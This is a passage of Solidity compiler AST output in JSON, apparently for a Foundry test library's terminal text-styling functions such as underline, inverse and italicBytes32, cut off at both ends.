memory)"}},"id":10387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8611:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10381,"id":10388,"nodeType":"Return","src":"8604:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italicBytes32","nameLocation":"8528:13:9","parameters":{"id":10378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10377,"mutability":"mutable","name":"self","nameLocation":"8550:4:9","nodeType":"VariableDeclaration","scope":10390,"src":"8542:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10376,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8542:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8541:14:9"},"returnParameters":{"id":10381,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10380,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10390,"src":"8579:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10379,"name":"string","nodeType":"ElementaryTypeName","src":"8579:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8578:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10403,"nodeType":"FunctionDefinition","src":"8649:129:9","nodes":[],"body":{"id":10402,"nodeType":"Block","src":"8726:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":10398,"name":"UNDERLINE","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9437,"src":"8755:9:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10399,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10392,"src":"8766:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10397,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"8743:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":10400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8743:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10396,"id":10401,"nodeType":"Return","src":"8736:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underline","nameLocation":"8658:9:9","parameters":{"id":10393,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10392,"mutability":"mutable","name":"self","nameLocation":"8682:4:9","nodeType":"VariableDeclaration","scope":10403,"src":"8668:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10391,"name":"string","nodeType":"ElementaryTypeName","src":"8668:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8667:20:9"},"returnParameters":{"id":10396,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10395,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10403,"src":"8711:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10394,"name":"string","nodeType":"ElementaryTypeName","src":"8711:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8710:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10418,"nodeType":"FunctionDefinition","src":"8784:123:9","nodes":[],"body":{"id":10417,"nodeType":"Block","src":"8855:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10413,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10405,"src":"8894:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10411,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8882:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10412,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8885:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"8882:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10414,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8882:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10410,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"8872:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10415,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8872:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10409,"id":10416,"nodeType":"Return","src":"8865:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underline","nameLocation":"8793:9:9","parameters":{"id":10406,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10405,"mutability":"mutable","name":"self","nameLocation":"8811:4:9","nodeType":"VariableDeclaration","scope":10418,"src":"8803:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10404,"name":"uint256","nodeType":"ElementaryTypeName","src":"8803:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8802:14:9"},"returnParameters":{"id":10409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10408,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10418,"src":"8840:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10407,"name":"string","nodeType":"ElementaryTypeName","src":"8840:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8839:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10433,"nodeType":"FunctionDefinition","src":"8913:122:9","nodes":[],"body":{"id":10432,"nodeType":"Block","src":"8983:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10428,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10420,"src":"9022:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10426,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9010:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10427,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9013:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"9010:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9010:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10425,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"9000:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9000:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10424,"id":10431,"nodeType":"Return","src":"8993:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underline","nameLocation":"8922:9:9","parameters":{"id":10421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10420,"mutability":"mutable","name":"self","nameLocation":"8939:4:9","nodeType":"VariableDeclaration","scope":10433,"src":"8932:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10419,"name":"int256","nodeType":"ElementaryTypeName","src":"8932:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"8931:13:9"},"returnParameters":{"id":10424,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10423,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10433,"src":"8968:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10422,"name":"string","nodeType":"ElementaryTypeName","src":"8968:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8967:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10448,"nodeType":"FunctionDefinition","src":"9041:123:9","nodes":[],"body":{"id":10447,"nodeType":"Block","src":"9112:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10443,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10435,"src":"9151:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10441,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9139:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10442,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9142:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"9139:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9139:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10440,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"9129:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9129:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10439,"id":10446,"nodeType":"Return","src":"9122:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underline","nameLocation":"9050:9:9","parameters":{"id":10436,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10435,"mutability":"mutable","name":"self","nameLocation":"9068:4:9","nodeType":"VariableDeclaration","scope":10448,"src":"9060:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10434,"name":"address","nodeType":"ElementaryTypeName","src":"9060:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9059:14:9"},"returnParameters":{"id":10439,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10438,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10448,"src":"9097:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10437,"name":"string","nodeType":"ElementaryTypeName","src":"9097:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9096:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10463,"nodeType":"FunctionDefinition","src":"9170:120:9","nodes":[],"body":{"id":10462,"nodeType":"Block","src":"9238:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10458,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10450,"src":"9277:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10456,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9265:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10457,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9268:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"9265:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":10459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9265:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10455,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"9255:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10460,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9255:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10454,"id":10461,"nodeType":"Return","src":"9248:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underline","nameLocation":"9179:9:9","parameters":{"id":10451,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10450,"mutability":"mutable","name":"self","nameLocation":"9194:4:9","nodeType":"VariableDeclaration","scope":10463,"src":"9189:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10449,"name":"bool","nodeType":"ElementaryTypeName","src":"9189:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9188:11:9"},"returnParameters":{"id":10454,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10453,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10463,"src":"9223:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10452,"name":"string","nodeType":"ElementaryTypeName","src":"9223:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9222:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10478,"nodeType":"FunctionDefinition","src":"9296:133:9","nodes":[],"body":{"id":10477,"nodeType":"Block","src":"9377:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10473,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10465,"src":"9416:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10471,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9404:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10472,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9407:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"9404:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10474,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9404:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10470,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"9394:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10475,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9394:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10469,"id":10476,"nodeType":"Return","src":"9387:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underlineBytes","nameLocation":"9305:14:9","parameters":{"id":10466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10465,"mutability":"mutable","name":"self","nameLocation":"9333:4:9","nodeType":"VariableDeclaration","scope":10478,"src":"9320:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10464,"name":"bytes","nodeType":"ElementaryTypeName","src":"9320:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9319:19:9"},"returnParameters":{"id":10469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10468,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10478,"src":"9362:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10467,"name":"string","nodeType":"ElementaryTypeName","src":"9362:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9361:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10493,"nodeType":"FunctionDefinition","src":"9435:130:9","nodes":[],"body":{"id":10492,"nodeType":"Block","src":"9513:52:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10488,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10480,"src":"9552:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10486,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9540:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9543:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"9540:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9540:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10485,"name":"underline","nodeType":"Identifier","overloadedDeclarations":[10403,10418,10433,10448,10463],"referencedDeclaration":10403,"src":"9530:9:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9530:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10484,"id":10491,"nodeType":"Return","src":"9523:35:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"underlineBytes32","nameLocation":"9444:16:9","parameters":{"id":10481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10480,"mutability":"mutable","name":"self","nameLocation":"9469:4:9","nodeType":"VariableDeclaration","scope":10493,"src":"9461:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10479,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9461:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"9460:14:9"},"returnParameters":{"id":10484,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10483,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10493,"src":"9498:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10482,"name":"string","nodeType":"ElementaryTypeName","src":"9498:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9497:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10506,"nodeType":"FunctionDefinition","src":"9571:125:9","nodes":[],"body":{"id":10505,"nodeType":"Block","src":"9646:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":10501,"name":"INVERSE","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9440,"src":"9675:7:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10502,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10495,"src":"9684:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10500,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"9663:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":10503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9663:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10499,"id":10504,"nodeType":"Return","src":"9656:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverse","nameLocation":"9580:7:9","parameters":{"id":10496,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10495,"mutability":"mutable","name":"self","nameLocation":"9602:4:9","nodeType":"VariableDeclaration","scope":10506,"src":"9588:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10494,"name":"string","nodeType":"ElementaryTypeName","src":"9588:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9587:20:9"},"returnParameters":{"id":10499,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10498,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10506,"src":"9631:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10497,"name":"string","nodeType":"ElementaryTypeName","src":"9631:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9630:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10521,"nodeType":"FunctionDefinition","src":"9702:119:9","nodes":[],"body":{"id":10520,"nodeType":"Block","src":"9771:50:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10516,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10508,"src":"9808:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10514,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"9796:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10515,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9799:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"9796:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10517,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9796:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10513,"name":"inverse","nodeType":"Identifier","overloadedDeclarations":[10506,10521,10536,10551,10566],"referencedDeclaration":10506,"src":"9788:7:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9788:26:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10512,"id":10519,"nodeType":"Return","src":"9781:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"inverse","nameLocation":"9711:7:9","parameters":{"id":10509,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10508,"mutability":"mutable","name":"self","nameLocation":"9727:4:9","nodeType":"VariableDeclaration","scope":10521,"src":"9719:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10507,"name":"uint256","nodeType":"ElementaryTypeName","src":"9719:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9718:14:9"},"returnParameters":{"id":10512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10511,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10521,"src":"9756:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10510,"name":"string","nodeType":"ElementaryTypeName","src":"9756:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"in